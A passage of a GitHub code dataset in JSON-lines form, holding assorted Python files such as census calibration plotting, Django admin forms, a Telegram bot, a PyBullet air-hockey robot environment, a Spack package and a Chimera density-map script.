(2300, 2300),\n 'Imperial': (2500, 2500),\n 'Kern': (2901, 2905),\n 'Kings': (3100, 3100),\n 'Lake and Mendocino': (3300, 3300),\n 'Los Angeles': (3701, 3769),\n 'Madera': (3900, 3900),\n 'Marin': (4101, 4102),\n 'Merced': (4701, 4702),\n 'Monterey': (5301, 5303),\n 'Napa': (5500, 5500),\n 'Nevada and Sierra': (5700, 5700),\n 'Orange': (5901, 5918),\n 'Placer': (6101, 6103),\n 'Riverside': (6501, 6515),\n 'Sacramento': (6701, 6712),\n 'San Bernardino': (7101, 7115),\n 'San Diego': (7301, 7322),\n 'San Francisco': (7501, 7507),\n 'San Joaquin': (7701, 7704),\n 'San Luis Obispo': (7901, 7902),\n 'San Mateo': (8101, 8106),\n 'Santa Barbara': (8301, 8303),\n 'Santa Clara': (8501, 8514),\n 'Santa Cruz': (8701, 8702),\n 'Shasta': (8900, 8900),\n 'Solano': (9501, 9503),\n 'Sonoma': (9701, 9703),\n 'Stanislaus': (9901, 9904),\n 'Sutter and Yuba': (10100, 10100),\n 'Tulare': (10701, 10703),\n 'Ventura': (11101, 11106),\n 'Yolo': (11300, 11300),\n}\n\n# Process the examples.\nfor ex in exs:\n\n # Form the scores, results, and weights.\n np.random.seed(seed=3820497)\n # Adjust the household personal income by the relevant factor.\n s = raw[:, header.index('HINCP')] * raw[:, header.index('ADJINC')] / 1e6\n # Convert the adjusted incomes to a log (base-10) scale.\n s = np.log(s) / math.log(10)\n # Dither in order to ensure the uniqueness of the scores.\n s = s * (np.ones(s.shape) + np.random.normal(size=s.shape) * 1e-8)\n # Read the result (raw integer count if the specified value is None,\n # Bernoulli indicator of success otherwise).\n if ex['val'] is None:\n r = raw[:, header.index(ex['var'])]\n else:\n r = raw[:, header.index(ex['var'])] == ex['val']\n # Read the weight.\n w = raw[:, header.index('WGTP')]\n # Sort the scores.\n perm = np.argsort(s)\n s = s[perm]\n r = r[perm]\n w = w[perm]\n\n # Set a directory for the county (creating the directory if necessary).\n dir = 'weighted'\n try:\n os.mkdir(dir)\n except FileExistsError:\n pass\n dir = 'weighted/County_of_'\n dir += ex['county'].replace(' ', '_').replace(',', '')\n dir += '-'\n dir += ex['var']\n try:\n os.mkdir(dir)\n except FileExistsError:\n pass\n dir += '/'\n print(f'./{dir} is under construction....')\n\n # Identify the indices of the subset corresponding to the county.\n slice = raw[perm, header.index('PUMA')]\n inds = slice >= (puma[ex['county']][0] * np.ones(raw.shape[0]))\n inds = inds & (slice <= (puma[ex['county']][1] * np.ones(raw.shape[0])))\n inds = np.nonzero(inds)[0]\n inds = np.unique(inds)\n\n # Plot reliability diagrams and the cumulative graph.\n nin = [10, 20, 100]\n nout = {}\n for nbins in nin:\n filename = dir + 'equiscores' + str(nbins) + '.pdf'\n equiscores(r, s, inds, nbins, filename, weights=w, left=0)\n filename = dir + 'equierrs' + str(nbins) + '.pdf'\n nout[str(nbins)] = equierrs(r, s, inds, nbins, filename, weights=w)\n if nbins < 100:\n assert abs(nout[str(nbins)][0] - nbins) <= 3\n assert abs(nout[str(nbins)][1] - nbins) <= 3\n majorticks = 10\n minorticks = 300\n filename = dir + 'cumulative.pdf'\n kuiper, kolmogorov_smirnov, lenscale = cumulative(\n r, s, inds, majorticks, minorticks, ex['val'] is not None,\n filename=filename, weights=w)\n # Save metrics in a text file.\n filename = dir + 'metrics.txt'\n with open(filename, 'w') as f:\n f.write('m:\\n')\n f.write(f'{len(s)}\\n')\n f.write('n:\\n')\n f.write(f'{len(inds)}\\n')\n f.write('lenscale:\\n')\n f.write(f'{lenscale}\\n')\n for nbins in nin:\n f.write(\"nout['\" + str(nbins) + \"']:\\n\")\n f.write(f'{nout[str(nbins)][0]}\\n')\n f.write(f'{nout[str(nbins)][1]}\\n')\n f.write('Kuiper:\\n')\n f.write(f'{kuiper:.4}\\n')\n f.write('Kolmogorov-Smirnov:\\n')\n f.write(f'{kolmogorov_smirnov:.4}\\n')\n f.write('Kuiper / lenscale:\\n')\n f.write(f'{(kuiper / lenscale):.4}\\n')\n f.write('Kolmogorov-Smirnov / lenscale:\\n')\n f.write(f'{(kolmogorov_smirnov / lenscale):.4}\\n')\n","repo_name":"facebookresearch/fbcdgraph","sub_path":"codes/acs.py","file_name":"acs.py","file_ext":"py","file_size_in_byte":6939,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"39691484736","text":"from django import forms\nfrom django.contrib import admin\nfrom ckeditor.widgets import CKEditorWidget\n\nfrom . models import *\n\n\nclass NewspostAdminForm(forms.ModelForm):\n text = forms.CharField(widget=CKEditorWidget())\n\n class Meta:\n model = Newspost\n fields = [\n 'title',\n 'image',\n 'group_id',\n 'text',\n 'manage',\n ]\n\n\nclass NewspostAdmin(admin.ModelAdmin):\n form = NewspostAdminForm\n\n\nclass CoverBannerAdminForm(forms.ModelForm):\n tag_line = forms.CharField(widget=CKEditorWidget())\n description = forms.CharField(widget=CKEditorWidget())\n\n class Meta:\n model = CoverBanner\n fields = [\n 'title',\n 'image',\n 'tag_line',\n 'description',\n ]\n\n\nclass CoverBannerAdmin(admin.ModelAdmin):\n form = CoverBannerAdminForm\n\n\nclass StickyAdminForm(forms.ModelForm):\n description = forms.CharField(widget=CKEditorWidget())\n\n class Meta:\n model = Sticky\n fields = [\n 'name',\n 'image',\n 'description',\n 'status',\n 'date',\n 'manage',\n ]\n\n\nclass StickyAdmin(admin.ModelAdmin):\n form = StickyAdminForm\n\n\n\nclass UserAdminForm(forms.ModelForm):\n description = forms.CharField(widget=CKEditorWidget())\n\n class Meta:\n model = User\n fields = [\n 'name',\n 'image',\n 'description',\n ]\n\n\nclass UserAdmin(admin.ModelAdmin):\n form = UserAdminForm\n\n\n# Register your models here.\nadmin.site.register(Newspost, NewspostAdmin)\nadmin.site.register(User, UserAdmin)\nadmin.site.register(Chapter)\nadmin.site.register(Comic)\nadmin.site.register(Image)\nadmin.site.register(Sticky, StickyAdmin)\nadmin.site.register(CoverBanner, CoverBannerAdmin)","repo_name":"JayeJuniper/Second-Sight-1.0","sub_path":"SecondSight/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"69949425214","text":"# environment\nimport os\nfrom dotenv import load_dotenv\n# bot\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters\nfrom telegram.ext.dispatcher import run_async\n# logging\nimport logging\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n# bot handlers\n@run_async\ndef mano(bot, update):\n request_id = update.message.message_id\n logger.info(\"[{}] Request from {}.\".format(str(request_id), str(update.message.from_user.username)))\n if update.message:\n if ((update.message.text.lower()) == \"mano\"):\n update.message.reply_text(\"brown\")\n if ((update.message.text.lower()) == \"brown\"):\n update.message.reply_text(\"mano\")\n\n\n@run_async\ndef help(bot, update):\n bot.send_message(chat_id=update.message.chat_id, text=\"Mano ou Brown.\")\n\n\n@run_async\ndef error(bot, update, error):\n logger.warning('Update \"%s\" caused error \"%s\"', update, error)\n\n\ndef main():\n # set env variables\n load_dotenv()\n BOT_TOKEN = os.getenv(\"TOKEN\")\n PORT = int(os.environ.get('PORT', '8443'))\n \n updater = Updater(token=BOT_TOKEN)\n dispatcher = updater.dispatcher\n\n # add bot handlers\n dispatcher.add_handler(MessageHandler(Filters.text, mano))\n dispatcher.add_error_handler(error)\n dispatcher.add_handler(CommandHandler('help', help))\n\n # heroku webook\n updater.start_webhook(listen=\"0.0.0.0\",\n port=PORT,\n url_path=BOT_TOKEN)\n updater.bot.set_webhook(\"https://maninhobrownbot.herokuapp.com/\" + BOT_TOKEN)\n logger.info(\"Bot ready.\")\n updater.idle()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"felipecustodio/manobot","sub_path":"mano.py","file_name":"mano.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25965506812","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.common.keys import Keys\r\nimport time\r\nchrome_driver = \"C:\\\\Users\\\\aadit\\\\Desktop\\\\chromedriver.exe\"\r\ndriver = webdriver.Chrome(executable_path = chrome_driver)\r\ndriver.get(url=\"https://secure-retreat-92358.herokuapp.com/\")\r\nf_name = driver.find_element(By.XPATH, \"/html/body/form/input[1]\")\r\ntime.sleep(10)\r\nf_name.send_keys(\"atriox\")\r\nl_name = driver.find_element(By.XPATH, \"/html/body/form/input[2]\")\r\ntime.sleep(10)\r\nl_name.send_keys(\"neu\")\r\nmail = driver.find_element(By.XPATH, \"/html/body/form/input[3]\")\r\ntime.sleep(10)\r\nmail.send_keys(\"donisfirst2@gmail.com\")\r\nmail.send_keys(Keys.ENTER)\r\ntime.sleep(10)\r\n\r\ndriver.quit()\r\n","repo_name":"aaditya9803/Selenium","sub_path":"selenium_login.py","file_name":"selenium_login.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40858409426","text":"__author__ = 'pard'\nfrom numpy import array\n\n\nclass GridError(RuntimeError):\n pass\n\n\nclass PhysicalGrid(object):\n\n def __init__(self, shape, physical_size, values=None):\n from utils import product\n #super(PhysicalGrid, self).__init__(shape=shape)\n if len(shape) != len(physical_size):\n raise GridError()\n self.shape = shape\n self.size = map(float, physical_size)\n self.volume = product(physical_size)\n self.increments = map(lambda x, y: x/y, self.size, shape)\n self.values = values\n self.no_elements = product(shape)\n\n def compatible_grid(self, other):\n \"\"\"\n Check the compatibility of two grids\n \"\"\"\n return self.shape == other.shape and self.size == other.size\n\n def coord_array(self, dim):\n \"\"\"\n Return an array of physical coordinates along the given dimension\n \"\"\"\n from numpy import arange\n return arange(self.shape[dim])*self.increments[dim]\n\n def find_index(self, coord):\n \"\"\"\n Given a physical coordinate return the corresponding index\n \"\"\"\n return tuple(map(lambda x, y: int(round(x/y)), coord, self.increments))\n\n def coord(self, idx):\n \"\"\"\n Given an index return the corresponding physical coordinate\n \"\"\"\n from numpy import array\n return array(map(lambda x, y: x*y, self.increments, idx))\n\n def normalization(self):\n from math import sqrt\n return 1.0/sqrt(self.volume)\n\n def rect_integral(self):\n return self.values.sum()/(self.normalization()**2)\n\n def adim(self, dir):\n if (self.direction == 3):\n adim = dir\n elif (self.direction == 1):\n if (dir == 1): adim = 3\n if (dir == 2): adim = 2\n if (dir == 3): adim = 1\n elif (self.direction == 2):\n if (dir == 1): adim = 1\n if (dir == 2): adim = 3\n if (dir == 3): adim = 2\n else:\n raise GridError('ERROR in well direction')\n return adim\n\n def getijk(self, n):\n \"\"\"\n Given a number n representing the flattened grid, return the original indices\n \"\"\"\n from numpy import unravel_index\n return unravel_index(n, self.shape)\n\n def getn(self, idx):\n \"\"\"\n Given an index return a single number n representing the corresponding index on the flattened grid\n \"\"\"\n from utils import ravel_index\n return ravel_index(idx, self.shape)\n\n def fourier_coord(self, idx):\n \"\"\"\n Return the fourier index of idx. That is; the index of the corresponding point in the fourier transformed\n grid.\n\n From the Fortran code:\n n(1) = (mod((l + (sz(1)/2)),sz(1)) - sz(1)/2)\n n(2) = (mod((m + (sz(2)/2)),sz(2)) - sz(2)/2)\n n(3) = (mod((p + (sz(3)/2)),sz(3)) - sz(3)/2)\n k(1) = (2.0d0*pi*n(1))/(sz(1)*grid(ag,1)*1E-9)\n k(2) = (2.0d0*pi*n(2))/(sz(2)*grid(ag,2)*1E-9)\n k(3) = (2.0d0*pi*n(3))/(sz(3)*grid(ag,3)*1E-9)\n \"\"\"\n from math import pi\n n = map(lambda x, y: ((x + (y/2.0)) % y) - y/2.0, idx, self.shape)\n k = array(map(lambda x, y: 2.0*pi*x/(y*1E-9), n, self.size))\n return k\n\n","repo_name":"duncanwp/emtpy","sub_path":"src/emtpy/grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":3337,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"17535270077","text":"app.background = 'black'\napp.stepsPerSecond = 20\n\nLabel('Click on the canvas to add stars.', 200, 15, fill='white', size=18)\nLabel('Press left arrow key to undo.', 200, 35, fill='white', size=18)\nLabel('Press right arrow key to redo.', 200, 55, fill='white', size=18)\n\napp.stars = [ ]\napp.removedStars = [ ]\napp.colors = [ 'fuchsia', 'yellow', 'aqua', 'lawnGreen', 'ghostWhite' ]\napp.colorIndex = 0\n\ndef undo():\n # Pop the last star from app.stars and add it to app.removedStars.\n # Also make it invisible.\n ### (HINT: Make sure that there is a star to remove!)\n ### Place Your Code Here ###\n if (len(app.stars)>0):\n star = app.stars.pop()\n star.visible=False\n app.removedStars.append(star)\n\ndef redo():\n # Pop the last star from app.removedStars and add it to app.stars.\n ### (HINT: Make sure that there is a star to add back!)\n ### Place Your Code Here ###\n if (len(app.removedStars)>0):\n star = app.removedStars.pop()\n star.visible=True\n app.stars.append(star)\n\ndef onMousePress(mouseX, mouseY):\n # Adds a star with the next color at the mouse press location.\n color = app.colors[app.colorIndex]\n app.stars.append(\n Star(mouseX, mouseY, 35, 5, fill=None, border=color, borderWidth=4,\n roundness=60)\n )\n\n # Updates what the next color will be.\n app.colorIndex += 1\n if (app.colorIndex == len(app.colors)):\n app.colorIndex = 0\n\ndef onKeyPress(key):\n # Undo when the left key is pressed. Redo when the right key is pressed.\n ### Place Your Code Here ###\n if (key==\"left\"):\n undo()\n if (key==\"right\"):\n redo()\n","repo_name":"Psycho461/-APCSP-CSAcademyANSWERS","sub_path":"4.2.2 Undo redo.py","file_name":"4.2.2 Undo redo.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"55125593","text":"from typing import List\n\n\ndef flipping_matrix(matrix: List[List[int]]) -> int:\n n = len(matrix)\n total = 0\n for i in range(n // 2):\n for j in range(n // 2):\n total += max(matrix[i][j], matrix[i][n - j - 1], matrix[n - i - 1][j], matrix[n - i - 1][n - j - 1])\n\n return total\n","repo_name":"BrianLusina/PythonSnips","sub_path":"datastructures/arrays/matrix/flipping_the_matrix/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"74508418173","text":"import time\r\nimport csv\r\nimport os\r\nfrom math import *\r\nfrom multiprocessing import Pool, cpu_count, Manager\r\n\r\n\r\ndef cal_cos_similarity(vec1, vec2):\r\n inner_product = 0\r\n norm1 = 0\r\n norm2 = 0\r\n for i in range(len(vec1)):\r\n inner_product += (vec1[i] * vec2[i])\r\n norm1 += vec1[i] ** 2\r\n norm2 += vec2[i] ** 2\r\n if norm1 == 0 or norm2 == 0:\r\n return 0\r\n norm1 = norm1 ** 0.5\r\n norm2 = norm2 ** 0.5\r\n return round(inner_product / (norm1 * norm2), 4)\r\n\r\n\r\n# 计算相似度矩阵(下三角)\r\ndef cal_sim_matrix(i, keyword_count_by_essay, similarity_matrix):\r\n print('执行任务%s (%s)...' % (i, os.getpid()))\r\n start = time.time()\r\n similarity_vector = []\r\n for j in range(i + 1):\r\n if i == j:\r\n similarity_vector.append(1.0)\r\n else:\r\n similarity_vector.append(cal_cos_similarity(keyword_count_by_essay[i], keyword_count_by_essay[j]))\r\n similarity_matrix.append(similarity_vector)\r\n end = time.time()\r\n print('任务 %s 运行了 %0.2f seconds.' % (i, (end - start)))\r\n\r\n\r\nif __name__ == '__main__':\r\n # 读入csv\r\n keyword_count_by_essay = []\r\n with open('bag-of-words.csv')as f:\r\n f_csv = csv.reader(f)\r\n for row in f_csv:\r\n for i in range(len(row)):\r\n row[i] = int(row[i])\r\n keyword_count_by_essay.append(row)\r\n\r\n print(\"\\nBuilding similarity matrix...\")\r\n start_time = time.time()\r\n num_cores = cpu_count()\r\n pool = Pool(1)\r\n similarity_matrix = Manager().list()\r\n for i in range(len(keyword_count_by_essay[:1547])):\r\n pool.apply_async(cal_sim_matrix, args=(i, keyword_count_by_essay, similarity_matrix))\r\n # print(f\"\\r{i + 1}/{len(keyword_count_by_essay)}, complete!\", end='')\r\n pool.close()\r\n pool.join()\r\n similarity_matrix = list(similarity_matrix)\r\n end_time = time.time()\r\n print(\"\\nRunning time: \", end_time - start_time)\r\n print()\r\n\r\n print(\"Writing to csv...\")\r\n start_time = time.time()\r\n with open('similarity_matrix.csv', 'w', newline='') as f:\r\n f_csv = csv.writer(f)\r\n for i in similarity_matrix:\r\n f_csv.writerow(i)\r\n # result_file = open(\"similarity_matrix.txt\", 'w')\r\n # for line in similarity_matrix:\r\n # for i in line:\r\n # result_file.write(str(i) + ' ')\r\n # result_file.write('\\n')\r\n # result_file.close()\r\n end_time = time.time()\r\n print(\"Running time: \", end_time - start_time)\r\n","repo_name":"Eternity666/Massive-Data-Processing","sub_path":"Text_Similarity/similarity_optim.py","file_name":"similarity_optim.py","file_ext":"py","file_size_in_byte":2502,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"25602023244","text":"import numpy as np\nimport pinocchio as pino\nimport pybullet_utils.transformations as transformations\nfrom mushroom_rl.core import MDPInfo\nfrom mushroom_rl.environments.pybullet import PyBulletObservationType\nfrom mushroom_rl.utils.spaces import Box\nfrom atacom.environments.iiwa_air_hockey.env_base import AirHockeyBase\nfrom atacom.environments.iiwa_air_hockey.kinematics import clik, fk\n\n\nclass AirHockeySingle(AirHockeyBase):\n def __init__(self, gamma=0.99, horizon=500, timestep=1 / 240., n_intermediate_steps=1, debug_gui=False,\n env_noise=False, obs_noise=False, obs_delay=False, torque_control=True, step_action_function=None,\n isolated_joint_7=False):\n self.obs_prev = None\n\n if isolated_joint_7:\n self.n_ctrl_joints = 6\n else:\n self.n_ctrl_joints = 7\n\n super().__init__(gamma=gamma, horizon=horizon, timestep=timestep,\n n_intermediate_steps=n_intermediate_steps, debug_gui=debug_gui,\n env_noise=env_noise, n_agents=1, obs_noise=obs_noise, obs_delay=obs_delay,\n torque_control=torque_control, step_action_function=step_action_function,\n isolated_joint_7=isolated_joint_7)\n\n self._compute_init_state()\n\n self._client.resetDebugVisualizerCamera(cameraDistance=1.5, cameraYaw=-00.0, cameraPitch=-45.0,\n cameraTargetPosition=[-0.5, 0., 0.])\n\n self._change_dynamics()\n\n self._disable_collision()\n\n self.reset()\n\n def _compute_init_state(self):\n q = np.zeros(9)\n des_pos = pino.SE3(np.diag([-1., 1., -1.]), np.array([0.65, 0., self.env_spec['universal_height']]))\n\n success, self.init_state = clik(self.pino_model, self.pino_data, des_pos, q, self.frame_idx)\n assert success is True\n\n def _disable_collision(self):\n # disable the collision with left and right rim Because of the improper collision shape\n iiwa_links = ['iiwa_1/link_1', 'iiwa_1/link_2', 'iiwa_1/link_3', 'iiwa_1/link_4', 'iiwa_1/link_5',\n 'iiwa_1/link_6', 'iiwa_1/link_7', 'iiwa_1/link_ee', 'iiwa_1/striker_base',\n 'iiwa_1/striker_joint_link', 'iiwa_1/striker_mallet', 'iiwa_1/striker_mallet_tip']\n table_rims = ['t_down_rim_l', 't_down_rim_r', 't_up_rim_r', 't_up_rim_l',\n 't_left_rim', 't_right_rim', 't_base', 't_up_rim_top', 't_down_rim_top', 't_base']\n for iiwa_l in iiwa_links:\n for table_r in table_rims:\n self.client.setCollisionFilterPair(self._indexer.link_map[iiwa_l][0],\n self._indexer.link_map[table_r][0],\n self._indexer.link_map[iiwa_l][1],\n self._indexer.link_map[table_r][1], 0)\n\n self.client.setCollisionFilterPair(self._model_map['puck'], self._indexer.link_map['t_down_rim_top'][0],\n -1, self._indexer.link_map['t_down_rim_top'][1], 0)\n self.client.setCollisionFilterPair(self._model_map['puck'], self._indexer.link_map['t_up_rim_top'][0],\n -1, self._indexer.link_map['t_up_rim_top'][1], 0)\n\n def _change_dynamics(self):\n for i in range(12):\n self.client.changeDynamics(self._model_map['iiwa_1'], i, linearDamping=0., angularDamping=0.)\n\n def _modify_mdp_info(self, mdp_info):\n obs_idx = [0, 1, 2, 7, 8, 9, 13, 14, 15, 16, 17, 18, 22, 23, 24, 25, 26, 27]\n obs_low = mdp_info.observation_space.low[obs_idx]\n obs_high = mdp_info.observation_space.high[obs_idx]\n obs_low[0:3] = [-1, -0.5, -np.pi]\n obs_high[0:3] = [1, 0.5, np.pi]\n observation_space = Box(low=obs_low, high=obs_high)\n\n act_low = mdp_info.action_space.low[:self.n_ctrl_joints]\n act_high = mdp_info.action_space.high[:self.n_ctrl_joints]\n action_space = Box(low=act_low, high=act_high)\n return MDPInfo(observation_space, action_space, mdp_info.gamma, mdp_info.horizon)\n\n def _create_observation(self, state):\n puck_pose = self.get_sim_state(state, \"puck\", PyBulletObservationType.BODY_POS)\n puck_pose_2d = self._puck_2d_in_robot_frame(puck_pose, self.agents[0]['frame'], type='pose')\n\n robot_pos = list()\n robot_vel = list()\n for i in range(6):\n robot_pos.append(self.get_sim_state(state,\n self.agents[0]['name'] + \"/joint_\"+str(i+1),\n PyBulletObservationType.JOINT_POS))\n robot_vel.append(self.get_sim_state(state,\n self.agents[0]['name'] + \"/joint_\" + str(i + 1),\n PyBulletObservationType.JOINT_VEL))\n if not self.isolated_joint_7:\n robot_pos.append(self.get_sim_state(state,\n self.agents[0]['name'] + \"/joint_\" + str(7),\n PyBulletObservationType.JOINT_POS))\n robot_vel.append(self.get_sim_state(state,\n self.agents[0]['name'] + \"/joint_\" + str(7),\n PyBulletObservationType.JOINT_VEL))\n robot_pos = np.asarray(robot_pos).flatten()\n robot_vel = np.asarray(robot_vel).flatten()\n\n if self.obs_noise:\n puck_pose_2d[:2] += np.random.randn(2) * 0.001\n puck_pose_2d[2] += np.random.randn(1) * 0.001\n\n puck_lin_vel = self.get_sim_state(state, \"puck\", PyBulletObservationType.BODY_LIN_VEL)\n puck_ang_vel = self.get_sim_state(state, \"puck\", PyBulletObservationType.BODY_ANG_VEL)\n puck_vel_2d = self._puck_2d_in_robot_frame(np.concatenate([puck_lin_vel, puck_ang_vel]),\n self.agents[0]['frame'], type='vel')\n\n if self.obs_delay:\n alpha = 0.5\n puck_vel_2d = alpha * puck_vel_2d + (1 - alpha) * self.obs_prev[3:6]\n robot_vel = alpha * robot_vel + (1 - alpha) * self.obs_prev[9:12]\n\n self.obs_prev = np.concatenate([puck_pose_2d, puck_vel_2d, robot_pos, robot_vel])\n return self.obs_prev\n\n def _puck_2d_in_robot_frame(self, puck_in, robot_frame, type='pose'):\n if type == 'pose':\n puck_frame = transformations.translation_matrix(puck_in[:3])\n puck_frame = puck_frame @ transformations.quaternion_matrix(puck_in[3:])\n\n frame_target = transformations.inverse_matrix(robot_frame) @ puck_frame\n puck_translate = transformations.translation_from_matrix(frame_target)\n _, _, puck_euler_yaw = transformations.euler_from_matrix(frame_target)\n\n return np.concatenate([puck_translate[:2], [puck_euler_yaw]])\n if type == 'vel':\n rot_mat = robot_frame[:3, :3]\n vec_lin = rot_mat.T @ puck_in[:3]\n return np.concatenate([vec_lin[:2], puck_in[5:6]])\n\n def _compute_joint_7(self, joint_state):\n q_cur = joint_state.copy()\n q_cur_7 = q_cur[6]\n q_cur[6] = 0.\n\n f_cur = fk(self.pino_model, self.pino_data, q_cur, self.frame_idx)\n z_axis = np.array([0., 0., -1.])\n\n y_des = np.cross(z_axis, f_cur.rotation[:, 2])\n y_des_norm = np.linalg.norm(y_des)\n if y_des_norm > 1e-2:\n y_des = y_des / y_des_norm\n else:\n y_des = f_cur.rotation[:, 2]\n\n target = np.arccos(f_cur.rotation[:, 1].dot(y_des))\n\n axis = np.cross(f_cur.rotation[:, 1], y_des)\n axis_norm = np.linalg.norm(axis)\n if axis_norm > 1e-2:\n axis = axis / axis_norm\n else:\n axis = np.array([0., 0., 1.])\n\n target = target * axis.dot(f_cur.rotation[:, 2])\n\n if target - q_cur_7 > np.pi / 2:\n target -= np.pi\n elif target - q_cur_7 < -np.pi / 2:\n target += np.pi\n\n return np.atleast_1d(target)\n\n def _compute_universal_joint(self, joint_state):\n rot_mat = transformations.quaternion_matrix(\n self.client.getLinkState(*self._indexer.link_map['iiwa_1/link_ee'])[1])\n\n q1 = np.arccos(rot_mat[:3, 2].dot(np.array((0., 0., -1))))\n q2 = 0\n\n axis = np.cross(rot_mat[:3, 2], np.array([0., 0., -1.]))\n axis_norm = np.linalg.norm(axis)\n if axis_norm > 1e-2:\n axis = axis / axis_norm\n else:\n axis = np.array([0., 0., 1.])\n q1 = q1 * axis.dot(rot_mat[:3, 1])\n\n return np.array([q1, q2])\n","repo_name":"PuzeLiu/rl_on_manifold","sub_path":"atacom/environments/iiwa_air_hockey/env_single.py","file_name":"env_single.py","file_ext":"py","file_size_in_byte":8741,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"78"} +{"seq_id":"8192625702","text":"from spack import *\nimport distutils.dir_util as du\n\nclass Pythia6(Package):\n \"\"\"PYTHIA is a program for the generation of high-energy physics events,\n i.e. for the description of collisions at high energies between elementary\n particles such as e+, e-, p and pbar in various combinations.\"\"\"\n\n homepage = \"https://pythia6.hepforge.org/\"\n url = \"http://service-spi.web.cern.ch/service-spi/external/MCGenerators/distribution/pythia6/pythia6-426-src.tgz\"\n\n version('426', '4dd75f551b7660c35f817c063abd74ca91b70259c0987905a06ebb2d21bcdf26')\n\n def install(self, spec, prefix):\n with working_dir(self.version.string):\n configure('--with-hepevt=4000')\n make()\n make('install')\n du.copy_tree('lib',prefix.lib)\n du.copy_tree('include',prefix.include)\n\n def url_for_version(self,version):\n url='http://service-spi.web.cern.ch/service-spi/external/MCGenerators/distribution/pythia6/pythia6-426-src.tgz'%self.version\n return url\n\n\n def write_scram_toolfile(self, contents, filename):\n \"\"\"Write scram tool config file\"\"\"\n with open(self.spec.prefix.etc + '/scram.d/' + filename, 'w') as f:\n f.write(contents)\n f.close()\n\n @run_after('install')\n def write_scram_toolfiles(self):\n\n from string import Template\n\n mkdirp(join_path(self.spec.prefix.etc, 'scram.d'))\n\n values = {}\n values['VER'] = self.spec.version\n values['PFX'] = self.spec.prefix\n\n fname = 'pythia6_headers.xml'\n template = Template(\"\"\"\n\n \n \n \n \n \n \n\n\"\"\")\n contents = template.substitute(values)\n self.write_scram_toolfile(contents, fname)\n\n fname = 'pythia6.xml'\n template = Template(\"\"\"\n\n \n \n \n \n \n \n \n \n \n\n\"\"\")\n contents = template.substitute(values)\n self.write_scram_toolfile(contents, fname)\n\n fname = 'pydata.xml'\n template = Template(\"\"\"\n\n \n \n \n \n \n \n \n\n\"\"\")\n contents = template.substitute(values)\n self.write_scram_toolfile(contents, fname)\n","repo_name":"gartung/fnal-spack","sub_path":"packages/pythia6/package.py","file_name":"package.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9341874397","text":"import sys\n\nif 'chimera' not in sys.modules:\n print(\"No chimera in environment! Exiting...\")\n exit(0)\n\n# No actual need to import anything\nimport chimera\nfrom VolumeViewer import open_volume_file\nfrom Matrix import euler_xform\nimport numpy as np\n\nRESOULTION = 10\nANGLE_RES = 30\n\n\ndef center_strcture(chan):\n com = [sum([c[i] for c in chan.coordSets[0].coords()]) / len(chan.coordSets[0].coords()) for i in range(3)]\n for j in range(len(chan.atoms)):\n p = chan.atoms[j].coord()\n for i in range(3):\n p[i] -= com[i]\n chan.atoms[j].setCoord(p)\n\n\ndef matrix_com(m):\n return [np.dot(np.array(range(m.shape[i])),\n np.sum(np.sum(m, max((i + 1) % 3, (i + 2) % 3)), min((i + 1) % 3, (i + 2) % 3))) for i in\n range(3)] / sum(sum(sum(m)))\n\n\ndef create_dm(pdbname, outputname):\n # create density map\n chan = chimera.openModels.open(pdbname)[0]\n chimera.runCommand('molmap #0 %s modelId 1' % str(RESOULTION))\n dm = chimera.specifier.evalSpec('#1').models()[0]\n chan.destroy()\n\n # rotate and save\n translation = [0, 0, 0]\n rot_phi = euler_xform([ANGLE_RES, 0, 0], translation)\n rot_theta = euler_xform([0, ANGLE_RES, 0], translation)\n rot_psi = euler_xform([0, 0, ANGLE_RES], translation)\n for theta in range(0, 181, ANGLE_RES):\n for phi in range(0, 360, ANGLE_RES):\n for psi in range(0, 360, ANGLE_RES):\n dm.openState.localXform(rot_psi)\n angle_str = ''.join(['_' + str(angle) for angle in [phi, theta, psi]])\n np.save(outputname + angle_str, dm.matrix())\n dm.openState.localXform(rot_psi)\n dm.openState.localXform(rot_phi)\n dm.openState.localXform(rot_phi)\n dm.openState.localXform(rot_theta)\n\n dm.close()\n\nprint(\"The code was compiled\")\n# pdbname = r'C:\\Users\\Matan\\Dropbox\\Study\\S-3B\\Workshop\\Tutotrial\\1k4c.pdb'\n# outputname = r'C:\\Users\\Matan\\PycharmProjects\\Workshop\\Chimera\\tmp'\n# create_dm(pdbname, outputname)\n# execfile(r'C:\\Users\\Matan\\PycharmProjects\\Workshop\\Chimera\\create_templates.py')\n","repo_name":"guyrom27/CryoEmSvm","sub_path":"Chimera/create_templates.py","file_name":"create_templates.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36134920001","text":"from celery import task\nfrom celery.utils.log import get_task_logger\nfrom page_parser.views import PageParser\nfrom os.path import join as join_path\n\n\nlogger = get_task_logger(__name__)\n\n\n@task\ndef parse_page(landingPage):\n url = landingPage.url.encode('utf-8')\n\n if landingPage.scraper_user_agent is not None:\n user_agent = 